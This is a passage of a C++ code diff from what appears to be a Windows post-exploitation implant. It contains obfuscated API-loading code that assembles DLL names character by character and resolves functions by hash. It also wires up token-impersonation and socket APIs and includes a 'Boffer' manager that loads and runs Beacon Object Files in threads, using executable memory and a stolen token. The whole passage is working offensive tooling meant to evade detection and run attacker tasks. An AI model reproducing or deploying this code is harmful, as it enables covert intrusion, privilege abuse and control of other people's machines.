iphlpapi_c[2] = HdChrA('h');
|
||||
iphlpapi_c[3] = HdChrA('l');
|
||||
iphlpapi_c[4] = HdChrA('p');
|
||||
iphlpapi_c[5] = HdChrA('a');
|
||||
iphlpapi_c[6] = HdChrA('p');
|
||||
iphlpapi_c[7] = HdChrA('i');
|
||||
iphlpapi_c[8] = HdChrA('.');
|
||||
iphlpapi_c[9] = HdChrA('d');
|
||||
iphlpapi_c[10] = HdChrA('l');
|
||||
iphlpapi_c[11] = HdChrA('l');
|
||||
iphlpapi_c[12] = HdChrA(0);
|
||||
|
||||
HMODULE hIphlpapiModule = ApiWin->LoadLibraryA(iphlpapi_c);
|
||||
SysModules->Iphlpapi = hIphlpapiModule;
|
||||
if (hIphlpapiModule) {
|
||||
ApiWin->GetAdaptersInfo = (decltype(GetAdaptersInfo)*) GetSymbolAddress(hIphlpapiModule, HASH_FUNC_GETADAPTERSINFO);
|
||||
}
|
||||
|
||||
// advapi32
|
||||
CHAR advapi32_c[13];
|
||||
advapi32_c[0] = HdChrA('A');
|
||||
advapi32_c[1] = HdChrA('d');
|
||||
advapi32_c[2] = HdChrA('v');
|
||||
advapi32_c[3] = HdChrA('a');
|
||||
advapi32_c[4] = HdChrA('p');
|
||||
advapi32_c[5] = HdChrA('i');
|
||||
advapi32_c[6] = HdChrA('3');
|
||||
advapi32_c[7] = HdChrA('2');
|
||||
advapi32_c[8] = HdChrA('.');
|
||||
advapi32_c[9] = HdChrA('d');
|
||||
advapi32_c[10] = HdChrA('l');
|
||||
advapi32_c[11] = HdChrA('l');
|
||||
advapi32_c[12] = HdChrA(0);
|
||||
|
||||
HMODULE hAdvapi32Module = ApiWin->LoadLibraryA(advapi32_c);
|
||||
SysModules->Advapi32 = hAdvapi32Module;
|
||||
if (hAdvapi32Module) {
|
||||
ApiWin->GetTokenInformation = (decltype(GetTokenInformation)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_GETTOKENINFORMATION);
|
||||
ApiWin->GetUserNameA = (decltype(GetUserNameA)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_GETUSERNAMEA);
|
||||
ApiWin->LookupAccountSidA = (decltype(LookupAccountSidA)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_LOOKUPACCOUNTSIDA);
|
||||
ApiWin->RevertToSelf = (decltype(RevertToSelf)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_REVERTTOSELF );
|
||||
ApiWin->SetThreadToken = (decltype(SetThreadToken)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_SETTHREADTOKEN);
|
||||
ApiWin->ImpersonateLoggedOnUser = (decltype(ImpersonateLoggedOnUser)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_IMPERSONATELOGGEDONUSER);
|
||||
ApiWin->DuplicateTokenEx = (decltype(DuplicateTokenEx)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_DUPLICATETOKENEX);
|
||||
ApiWin->CreateProcessAsUserA = (decltype(CreateProcessAsUserA)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_CREATEPROCESSASUSERA);
|
||||
ApiWin->CreateProcessWithTokenW = (decltype(CreateProcessWithTokenW)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_CREATEPROCESSWITHTOKENW);
|
||||
}
|
||||
|
||||
// msvcrt
|
||||
CHAR msvcrt_c[11];
|
||||
msvcrt_c[0] = HdChrA('m');
|
||||
msvcrt_c[1] = HdChrA('s');
|
||||
msvcrt_c[2] = HdChrA('v');
|
||||
msvcrt_c[3] = HdChrA('c');
|
||||
msvcrt_c[4] = HdChrA('r');
|
||||
msvcrt_c[5] = HdChrA('t');
|
||||
msvcrt_c[6] = HdChrA('.');
|
||||
msvcrt_c[7] = HdChrA('d');
|
||||
msvcrt_c[8] = HdChrA('l');
|
||||
msvcrt_c[9] = HdChrA('l');
|
||||
msvcrt_c[10] = HdChrA(0);
|
||||
|
||||
HMODULE hMsvcrtModule = ApiWin->LoadLibraryA(msvcrt_c);
|
||||
SysModules->Msvcrt = hMsvcrtModule;
|
||||
if (hMsvcrtModule) {
|
||||
#if defined(DEBUG)
|
||||
ApiWin->printf = (printf_t)GetSymbolAddress(hMsvcrtModule, HASH_FUNC_PRINTF);
|
||||
#endif
|
||||
ApiWin->vsnprintf = (vsnprintf_t) GetSymbolAddress(hMsvcrtModule, HASH_FUNC_VSNPRINTF);
|
||||
ApiWin->snprintf = (snprintf_t) GetSymbolAddress(hMsvcrtModule, HASH_FUNC__SNPRINTF);
|
||||
}
|
||||
|
||||
// Ws2_32
|
||||
CHAR ws2_32_c[11];
|
||||
ws2_32_c[0] = HdChrA('W');
|
||||
ws2_32_c[1] = HdChrA('s');
|
||||
ws2_32_c[2] = HdChrA('2');
|
||||
ws2_32_c[3] = HdChrA('_');
|
||||
ws2_32_c[4] = HdChrA('3');
|
||||
ws2_32_c[5] = HdChrA('2');
|
||||
ws2_32_c[6] = HdChrA('.');
|
||||
ws2_32_c[7] = HdChrA('d');
|
||||
ws2_32_c[8] = HdChrA('l');
|
||||
ws2_32_c[9] = HdChrA('l');
|
||||
ws2_32_c[10] = HdChrA(0);
|
||||
|
||||
HMODULE hWs2_32Module = ApiWin->LoadLibraryA(ws2_32_c);
|
||||
SysModules->Ws2_32 = hWs2_32Module;
|
||||
if (hWs2_32Module) {
|
||||
ApiWin->WSAStartup = (decltype(WSAStartup)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_WSASTARTUP);
|
||||
ApiWin->WSACleanup = (decltype(WSACleanup)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_WSACLEANUP);
|
||||
ApiWin->WSAGetLastError = (decltype(WSAGetLastError)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_WSAGETLASTERROR);
|
||||
ApiWin->gethostbyname = (decltype(gethostbyname)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_GETHOSTBYNAME);
|
||||
ApiWin->socket = (decltype(socket)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SOCKET);
|
||||
ApiWin->ioctlsocket = (decltype(ioctlsocket)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_IOCTLSOCKET);
|
||||
ApiWin->connect = (decltype(connect)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_CONNECT);
|
||||
ApiWin->setsockopt = (decltype(setsockopt)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SETSOCKOPT);
|
||||
ApiWin->getsockopt = (decltype(getsockopt)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_GETSOCKOPT);
|
||||
ApiWin->closesocket = (decltype(closesocket)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_CLOSESOCKET);
|
||||
ApiWin->select = (decltype(select)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SELECT);
|
||||
ApiWin->__WSAFDIsSet = (decltype(__WSAFDIsSet)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC___WSAFDISSET);
|
||||
ApiWin->shutdown = (decltype(shutdown)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SHUTDOWN);
|
||||
ApiWin->recv = (decltype(recv)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_RECV);
|
||||
ApiWin->recvfrom = (decltype(recvfrom)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_RECVFROM);
|
||||
ApiWin->send = (decltype(send)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SEND);
|
||||
ApiWin->sendto = (decltype(sendto)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_SENDTO);
|
||||
ApiWin->accept = (decltype(accept)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_ACCEPT);
|
||||
ApiWin->listen = (decltype(listen)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_LISTEN);
|
||||
ApiWin->bind = (decltype(bind)*) GetSymbolAddress(hWs2_32Module, HASH_FUNC_BIND);
|
||||
}
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ApiNt) {
|
||||
HMODULE hNtdllModule = GetModuleAddress(HASH_LIB_NTDLL);
|
||||
SysModules->Ntdll = hNtdllModule;
|
||||
if ( hNtdllModule ) {
|
||||
ApiNt->NtClose = (decltype(NtClose)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTCLOSE);
|
||||
ApiNt->NtContinue = (decltype(NtContinue)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTCONTINUE);
|
||||
ApiNt->NtFreeVirtualMemory = (decltype(NtFreeVirtualMemory)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTFREEVIRTUALMEMORY);
|
||||
ApiNt->NtQueryInformationProcess = (decltype(NtQueryInformationProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTQUERYINFORMATIONPROCESS);
|
||||
ApiNt->NtQuerySystemInformation = (decltype(NtQuerySystemInformation)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTQUERYSYSTEMINFORMATION);
|
||||
ApiNt->NtOpenProcess = (decltype(NtOpenProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENPROCESS);
|
||||
ApiNt->NtOpenProcessToken = (decltype(NtOpenProcessToken)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENPROCESSTOKEN);
|
||||
ApiNt->NtOpenThreadToken = (decltype(NtOpenThreadToken)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENTHREADTOKEN);
|
||||
ApiNt->NtTerminateThread = (decltype(NtTerminateThread)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTTERMINATETHREAD);
|
||||
ApiNt->NtTerminateProcess = (decltype(NtTerminateProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTTERMINATEPROCESS);
|
||||
ApiNt->RtlGetVersion = (decltype(RtlGetVersion)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLGETVERSION);
|
||||
ApiNt->RtlExitUserThread = (decltype(RtlExitUserThread)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLEXITUSERTHREAD);
|
||||
ApiNt->RtlExitUserProcess = (decltype(RtlExitUserProcess)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLEXITUSERPROCESS);
|
||||
ApiNt->RtlIpv4StringToAddressA = (decltype(RtlIpv4StringToAddressA)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLIPV4STRINGTOADDRESSA);
|
||||
ApiNt->RtlRandomEx = (decltype(RtlRandomEx)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLRANDOMEX);
|
||||
ApiNt->RtlNtStatusToDosError = (decltype(RtlNtStatusToDosError)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLNTSTATUSTODOSERROR);
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,169 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <psapi.h>
|
||||
#include "ntdll.h"
|
||||
|
||||
#define TEB NtCurrentTeb()
|
||||
#define DECL_API(x) decltype(x) * x
|
||||
|
||||
typedef int (*printf_t)(const char* format, ...);
|
||||
typedef int (*vsnprintf_t)(char* str, size_t size, const char* format, va_list args);
|
||||
typedef int (*snprintf_t)(char*, size_t, const char*, ...);
|
||||
|
||||
extern void* __cdecl memset(void*, int, size_t);
|
||||
extern void* __cdecl memcpy(void*, const void*, size_t);
|
||||
|
||||
CHAR HdChrA(CHAR c);
|
||||
WCHAR HdChrW(WCHAR c);
|
||||
|
||||
struct SYSMODULES
|
||||
{
|
||||
HMODULE Kernel32;
|
||||
HMODULE Ntdll;
|
||||
HMODULE Iphlpapi;
|
||||
HMODULE Advapi32;
|
||||
HMODULE Msvcrt;
|
||||
HMODULE Ws2_32;
|
||||
};
|
||||
|
||||
struct WINAPIFUNC
|
||||
{
|
||||
// kernel32
|
||||
DECL_API(CopyFileA);
|
||||
DECL_API(CreateDirectoryA);
|
||||
DECL_API(CreateFileA);
|
||||
DECL_API(CreateNamedPipeA);
|
||||
DECL_API(CreatePipe);
|
||||
DECL_API(CreateProcessA);
|
||||
DECL_API(CreateEventA);
|
||||
DECL_API(CreateThread);
|
||||
DECL_API(DisconnectNamedPipe);
|
||||
DECL_API(DeleteCriticalSection);
|
||||
DECL_API(DeleteFileA);
|
||||
DECL_API(EnterCriticalSection);
|
||||
DECL_API(TryEnterCriticalSection);
|
||||
DECL_API(FindClose);
|
||||
DECL_API(FindFirstFileA);
|
||||
DECL_API(FindNextFileA);
|
||||
DECL_API(FreeLibrary);
|
||||
DECL_API(GetACP);
|
||||
DECL_API(GetComputerNameExA);
|
||||
DECL_API(GetCurrentDirectoryA);
|
||||
DECL_API(GetDriveTypeA);
|
||||
DECL_API(GetExitCodeProcess);
|
||||
DECL_API(GetExitCodeThread);
|
||||
DECL_API(GetFileSize);
|
||||
DECL_API(GetFileAttributesA);
|
||||
DECL_API(GetFullPathNameA);
|
||||
DECL_API(GetLastError);
|
||||
DECL_API(GetLogicalDrives);
|
||||
DECL_API(GetOEMCP);
|
||||
DECL_API(GetModuleBaseNameA);
|
||||
DECL_API(GetModuleHandleA);
|
||||
DECL_API(GetProcAddress);
|
||||
DECL_API(GetLocalTime);
|
||||
DECL_API(GetSystemTimeAsFileTime);
|
||||
DECL_API(GetTickCount);
|
||||
//DECL_API(GetTokenInformation);
|
||||
DECL_API(GetTimeZoneInformation);
|
||||
DECL_API(HeapAlloc);
|
||||
DECL_API(HeapCreate);
|
||||
DECL_API(HeapDestroy);
|
||||
DECL_API(HeapReAlloc);
|
||||
DECL_API(HeapFree);
|
||||
DECL_API(InitializeCriticalSection);
|
||||
DECL_API(IsWow64Process);
|
||||
DECL_API(LoadLibraryA);
|
||||
DECL_API(LocalAlloc);
|
||||
DECL_API(LocalFree);
|
||||
DECL_API(LocalReAlloc);
|
||||
DECL_API(LeaveCriticalSection);
|
||||
DECL_API(MoveFileA);
|
||||
DECL_API(MultiByteToWideChar);
|
||||
DECL_API(PeekNamedPipe);
|
||||
DECL_API(ReadFile);
|
||||
DECL_API(RemoveDirectoryA);
|
||||
DECL_API(RtlCaptureContext);
|
||||
DECL_API(SetCurrentDirectoryA);
|
||||
DECL_API(SetNamedPipeHandleState);
|
||||
DECL_API(SetEvent);
|
||||
DECL_API(ResetEvent);
|
||||
DECL_API(Sleep);
|
||||
DECL_API(VirtualAlloc);
|
||||
DECL_API(VirtualFree);
|
||||
DECL_API(WaitForSingleObject);
|
||||
DECL_API(WaitNamedPipeA);
|
||||
DECL_API(WideCharToMultiByte);
|
||||
DECL_API(WriteFile);
|
||||
|
||||
// iphlpapi
|
||||
DECL_API(GetAdaptersInfo);
|
||||
|
||||
// advapi32
|
||||
DECL_API(GetTokenInformation);
|
||||
DECL_API(GetUserNameA);
|
||||
DECL_API(LookupAccountSidA);
|
||||
DECL_API(RevertToSelf);
|
||||
DECL_API(ImpersonateLoggedOnUser);
|
||||
DECL_API(SetThreadToken);
|
||||
DECL_API(DuplicateTokenEx);
|
||||
DECL_API(CreateProcessAsUserA);
|
||||
DECL_API(CreateProcessWithTokenW);
|
||||
|
||||
// msvcrt
|
||||
#if defined(DEBUG)
|
||||
printf_t printf;
|
||||
#endif
|
||||
vsnprintf_t vsnprintf;
|
||||
snprintf_t snprintf;
|
||||
|
||||
//ws2_32
|
||||
DECL_API(WSAStartup);
|
||||
DECL_API(WSACleanup);
|
||||
DECL_API(socket);
|
||||
DECL_API(gethostbyname);
|
||||
DECL_API(ioctlsocket);
|
||||
DECL_API(connect);
|
||||
DECL_API(setsockopt);
|
||||
DECL_API(getsockopt);
|
||||
DECL_API(WSAGetLastError);
|
||||
DECL_API(closesocket);
|
||||
DECL_API(select);
|
||||
DECL_API(__WSAFDIsSet);
|
||||
DECL_API(shutdown);
|
||||
DECL_API(recv);
|
||||
DECL_API(recvfrom);
|
||||
DECL_API(send);
|
||||
DECL_API(sendto);
|
||||
DECL_API(accept);
|
||||
DECL_API(listen);
|
||||
DECL_API(bind);
|
||||
};
|
||||
|
||||
struct NTAPIFUNC
|
||||
{
|
||||
DECL_API(NtClose);
|
||||
DECL_API(NtContinue);
|
||||
DECL_API(NtFreeVirtualMemory);
|
||||
DECL_API(NtQueryInformationProcess);
|
||||
DECL_API(NtQuerySystemInformation);
|
||||
DECL_API(NtOpenProcess);
|
||||
DECL_API(NtOpenProcessToken);
|
||||
DECL_API(NtOpenThreadToken);
|
||||
DECL_API(NtTerminateThread);
|
||||
DECL_API(NtTerminateProcess);
|
||||
DECL_API(RtlGetVersion);
|
||||
DECL_API(RtlExitUserThread);
|
||||
DECL_API(RtlExitUserProcess);
|
||||
DECL_API(RtlIpv4StringToAddressA);
|
||||
DECL_API(RtlRandomEx);
|
||||
DECL_API(RtlNtStatusToDosError);
|
||||
};
|
||||
|
||||
extern SYSMODULES* SysModules;
|
||||
extern WINAPIFUNC* ApiWin;
|
||||
extern NTAPIFUNC* ApiNt;
|
||||
|
||||
BOOL ApiLoad();
|
||||
@@ -0,0 +1,393 @@
|
||||
#include "Boffer.h"
|
||||
#include "bof_loader.h"
|
||||
#include "utils.h"
|
||||
|
||||
Boffer* g_AsyncBofManager = NULL;
|
||||
|
||||
__declspec(thread) AsyncBofContext* tls_CurrentBofContext = nullptr;
|
||||
|
||||
extern HANDLE g_StoredToken;
|
||||
|
||||
void* Boffer::operator new(size_t sz)
|
||||
{
|
||||
return MemAllocLocal(sz);
|
||||
}
|
||||
|
||||
void Boffer::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(Boffer));
|
||||
}
|
||||
|
||||
Boffer::Boffer()
|
||||
{
|
||||
this->wakeupEvent = NULL;
|
||||
}
|
||||
|
||||
Boffer::~Boffer()
|
||||
{
|
||||
if (this->wakeupEvent) {
|
||||
ApiNt->NtClose(this->wakeupEvent);
|
||||
this->wakeupEvent = NULL;
|
||||
}
|
||||
ApiWin->DeleteCriticalSection(&this->managerLock);
|
||||
}
|
||||
|
||||
BOOL Boffer::Initialize()
|
||||
{
|
||||
this->wakeupEvent = ApiWin->CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||
if (!this->wakeupEvent)
|
||||
return FALSE;
|
||||
|
||||
ApiWin->InitializeCriticalSection(&this->managerLock);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
AsyncBofContext* Boffer::CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* coffFile, ULONG coffFileSize, BYTE* args, ULONG argsSize)
|
||||
{
|
||||
AsyncBofContext* ctx = (AsyncBofContext*)MemAllocLocal(sizeof(AsyncBofContext));
|
||||
if (!ctx)
|
||||
return NULL;
|
||||
|
||||
memset(ctx, 0, sizeof(AsyncBofContext));
|
||||
|
||||
ctx->taskId = taskId;
|
||||
ctx->state = ASYNC_BOF_STATE_PENDING;
|
||||
|
||||
ctx->coffFile = (BYTE*)MemAllocLocal(coffFileSize);
|
||||
if (!ctx->coffFile) {
|
||||
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
|
||||
return NULL;
|
||||
}
|
||||
memcpy(ctx->coffFile, coffFile, coffFileSize);
|
||||
ctx->coffFileSize = coffFileSize;
|
||||
|
||||
if (args && argsSize > 0) {
|
||||
ctx->args = (BYTE*)MemAllocLocal(argsSize);
|
||||
if (!ctx->args) {
|
||||
MemFreeLocal((LPVOID*)&ctx->coffFile, coffFileSize);
|
||||
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
|
||||
return NULL;
|
||||
}
|
||||
memcpy(ctx->args, args, argsSize);
|
||||
ctx->argsSize = argsSize;
|
||||
}
|
||||
|
||||
ULONG entryLen = StrLenA(entryName) + 1;
|
||||
ctx->entryName = (CHAR*)MemAllocLocal(entryLen);
|
||||
if (!ctx->entryName) {
|
||||
if (ctx->args)
|
||||
MemFreeLocal((LPVOID*)&ctx->args, argsSize);
|
||||
MemFreeLocal((LPVOID*)&ctx->coffFile, coffFileSize);
|
||||
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
|
||||
return NULL;
|
||||
}
|
||||
memcpy(ctx->entryName, entryName, entryLen);
|
||||
|
||||
ctx->hStopEvent = ApiWin->CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||
if (!ctx->hStopEvent) {
|
||||
MemFreeLocal((LPVOID*)&ctx->entryName, entryLen);
|
||||
if (ctx->args)
|
||||
MemFreeLocal((LPVOID*)&ctx->args, argsSize);
|
||||
MemFreeLocal((LPVOID*)&ctx->coffFile, coffFileSize);
|
||||
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ApiWin->InitializeCriticalSection(&ctx->outputLock);
|
||||
ctx->outputBuffer = new Packer();
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter)
|
||||
{
|
||||
AsyncBofContext* ctx = (AsyncBofContext*)lpParameter;
|
||||
if (!ctx)
|
||||
return 1;
|
||||
|
||||
tls_CurrentBofContext = ctx;
|
||||
|
||||
if (g_StoredToken)
|
||||
ApiWin->ImpersonateLoggedOnUser(g_StoredToken);
|
||||
|
||||
ctx->state = ASYNC_BOF_STATE_RUNNING;
|
||||
|
||||
COF_HEADER* pHeader = (COF_HEADER*)ctx->coffFile;
|
||||
COF_SYMBOL* pSymbolTable = (COF_SYMBOL*)(ctx->coffFile + pHeader->PointerToSymbolTable);
|
||||
|
||||
BOOL result = AllocateSections(ctx->coffFile, pHeader, ctx->mapSections);
|
||||
if (!result) {
|
||||
ctx->state = ASYNC_BOF_STATE_FINISHED;
|
||||
tls_CurrentBofContext = NULL;
|
||||
return 1;
|
||||
}
|
||||
|
||||
ctx->mapFunctions = (LPVOID*)ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
if (!ctx->mapFunctions) {
|
||||
CleanupSections(ctx->mapSections, MAX_SECTIONS);
|
||||
ctx->state = ASYNC_BOF_STATE_FINISHED;
|
||||
tls_CurrentBofContext = NULL;
|
||||
return 1;
|
||||
}
|
||||
|
||||
result = ProcessRelocations(ctx->coffFile, pHeader, ctx->mapSections, pSymbolTable, ctx->mapFunctions);
|
||||
if (!result) {
|
||||
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
|
||||
ctx->mapFunctions = NULL;
|
||||
CleanupSections(ctx->mapSections, MAX_SECTIONS);
|
||||
ctx->state = ASYNC_BOF_STATE_FINISHED;
|
||||
tls_CurrentBofContext = NULL;
|
||||
return 1;
|
||||
}
|
||||
|
||||
ApiWin->EnterCriticalSection(&ctx->outputLock);
|
||||
ctx->outputBuffer->Pack32(ctx->taskId);
|
||||
ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF
|
||||
ctx->outputBuffer->Pack8(TRUE);
|
||||
ApiWin->LeaveCriticalSection(&ctx->outputLock);
|
||||
|
||||
CHAR* entryFuncName = PrepareEntryName(ctx->entryName);
|
||||
if (entryFuncName) {
|
||||
ExecuteProc(entryFuncName, ctx->args, ctx->argsSize, pSymbolTable, pHeader, ctx->mapSections);
|
||||
FreeFunctionName(entryFuncName);
|
||||
}
|
||||
|
||||
if (ctx->mapFunctions) {
|
||||
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
|
||||
ctx->mapFunctions = NULL;
|
||||
}
|
||||
CleanupSections(ctx->mapSections, MAX_SECTIONS);
|
||||
|
||||
ApiWin->EnterCriticalSection(&ctx->outputLock);
|
||||
ctx->outputBuffer->Pack32(ctx->taskId);
|
||||
ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF
|
||||
ctx->outputBuffer->Pack8(FALSE);
|
||||
ApiWin->LeaveCriticalSection(&ctx->outputLock);
|
||||
|
||||
ctx->state = ASYNC_BOF_STATE_FINISHED;
|
||||
tls_CurrentBofContext = NULL;
|
||||
|
||||
if (g_AsyncBofManager)
|
||||
g_AsyncBofManager->SignalWakeup();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL Boffer::StartAsyncBof(AsyncBofContext* ctx)
|
||||
{
|
||||
if (!ctx)
|
||||
return FALSE;
|
||||
|
||||
ApiWin->EnterCriticalSection(&this->managerLock);
|
||||
|
||||
ctx->hThread = ApiWin->CreateThread(NULL, 0, AsyncBofThreadProc, ctx, 0, &ctx->threadId);
|
||||
if (!ctx->hThread) {
|
||||
ApiWin->LeaveCriticalSection(&this->managerLock);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
this->asyncBofs.push_back(ctx);
|
||||
|
||||
ApiWin->LeaveCriticalSection(&this->managerLock);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL Boffer::StopAsyncBof(ULONG taskId)
|
||||
{
|
||||
HANDLE hThread = NULL;
|
||||
BOOL found = FALSE;
|
||||
|
||||
ApiWin->EnterCriticalSection(&this->managerLock);
|
||||
|
||||
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
|
||||
if (this->asyncBofs[i]->taskId == taskId) {
|
||||
AsyncBofContext* ctx = this->asyncBofs[i];
|
||||
found = TRUE;
|
||||
if (ctx->state == ASYNC_BOF_STATE_RUNNING) {
|
||||
if (ctx->hStopEvent)
|
||||
ApiWin->SetEvent(ctx->hStopEvent);
|
||||
hThread = ctx->hThread;
|
||||
}
|
||||
ctx->state = ASYNC_BOF_STATE_STOPPED;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ApiWin->LeaveCriticalSection(&this->managerLock);
|
||||
|
||||
if (!found)
|
||||
return FALSE;
|
||||
|
||||
if (hThread) {
|
||||
DWORD waitResult = ApiWin->WaitForSingleObject(hThread, 3000);
|
||||
if (waitResult == WAIT_TIMEOUT)
|
||||
ApiNt->NtTerminateThread(hThread, 0);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void Boffer::ProcessAsyncBofs(Packer* outPacker)
|
||||
{
|
||||
if (!outPacker || this->asyncBofs.size() == 0)
|
||||
return;
|
||||
|
||||
ApiWin->EnterCriticalSection(&this->managerLock);
|
||||
|
||||
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
|
||||
AsyncBofContext* ctx = this->asyncBofs[i];
|
||||
|
||||
BOOL threadAlive = FALSE;
|
||||
if (ctx->hThread) {
|
||||
DWORD exitCode = 0;
|
||||
ApiWin->GetExitCodeThread(ctx->hThread, &exitCode);
|
||||
threadAlive = (exitCode == STILL_ACTIVE);
|
||||
}
|
||||
|
||||
if (threadAlive) {
|
||||
if (ApiWin->TryEnterCriticalSection(&ctx->outputLock)) {
|
||||
if (ctx->outputBuffer && ctx->outputBuffer->datasize() > 0) {
|
||||
outPacker->PackFlatBytes(ctx->outputBuffer->data(), ctx->outputBuffer->datasize());
|
||||
ctx->outputBuffer->Clear(TRUE);
|
||||
}
|
||||
ApiWin->LeaveCriticalSection(&ctx->outputLock);
|
||||
}
|
||||
} else {
|
||||
if (ctx->outputBuffer && ctx->outputBuffer->datasize() > 0) {
|
||||
outPacker->PackFlatBytes(ctx->outputBuffer->data(), ctx->outputBuffer->datasize());
|
||||
ctx->outputBuffer->Clear(TRUE);
|
||||
}
|
||||
if (ctx->state == ASYNC_BOF_STATE_RUNNING)
|
||||
ctx->state = ASYNC_BOF_STATE_FINISHED;
|
||||
}
|
||||
}
|
||||
|
||||
ApiWin->LeaveCriticalSection(&this->managerLock);
|
||||
|
||||
CleanupFinishedBofs();
|
||||
}
|
||||
|
||||
void Boffer::CleanupFinishedBofs()
|
||||
{
|
||||
Vector<AsyncBofContext*> pending;
|
||||
|
||||
ApiWin->EnterCriticalSection(&this->managerLock);
|
||||
|
||||
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
|
||||
AsyncBofContext* ctx = this->asyncBofs[i];
|
||||
if (ctx->state == ASYNC_BOF_STATE_FINISHED || ctx->state == ASYNC_BOF_STATE_STOPPED) {
|
||||
pending.push_back(ctx);
|
||||
this->asyncBofs.remove(i);
|
||||
--i;
|
||||
}
|
||||
}
|
||||
|
||||
ApiWin->LeaveCriticalSection(&this->managerLock);
|
||||
|
||||
for (size_t i = 0; i < pending.size(); i++)
|
||||
CleanupBofContext(pending[i]);
|
||||
|
||||
pending.destroy();
|
||||
}
|
||||
|
||||
void Boffer::CleanupBofContext(AsyncBofContext* ctx)
|
||||
{
|
||||
if (!ctx)
|
||||
return;
|
||||
|
||||
if (ctx->hThread) {
|
||||
ApiWin->WaitForSingleObject(ctx->hThread, 5000);
|
||||
DWORD exitCode = 0;
|
||||
ApiWin->GetExitCodeThread(ctx->hThread, &exitCode);
|
||||
if (exitCode == STILL_ACTIVE)
|
||||
ApiNt->NtTerminateThread(ctx->hThread, 0);
|
||||
ApiNt->NtClose(ctx->hThread);
|
||||
ctx->hThread = NULL;
|
||||
}
|
||||
|
||||
if (ctx->hStopEvent) {
|
||||
ApiNt->NtClose(ctx->hStopEvent);
|
||||
ctx->hStopEvent = NULL;
|
||||
}
|
||||
|
||||
if (ctx->mapFunctions) {
|
||||
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
|
||||
ctx->mapFunctions = NULL;
|
||||
}
|
||||
CleanupSections(ctx->mapSections, MAX_SECTIONS);
|
||||
|
||||
if (ctx->coffFile)
|
||||
MemFreeLocal((LPVOID*)&ctx->coffFile, ctx->coffFileSize);
|
||||
|
||||
if (ctx->args)
|
||||
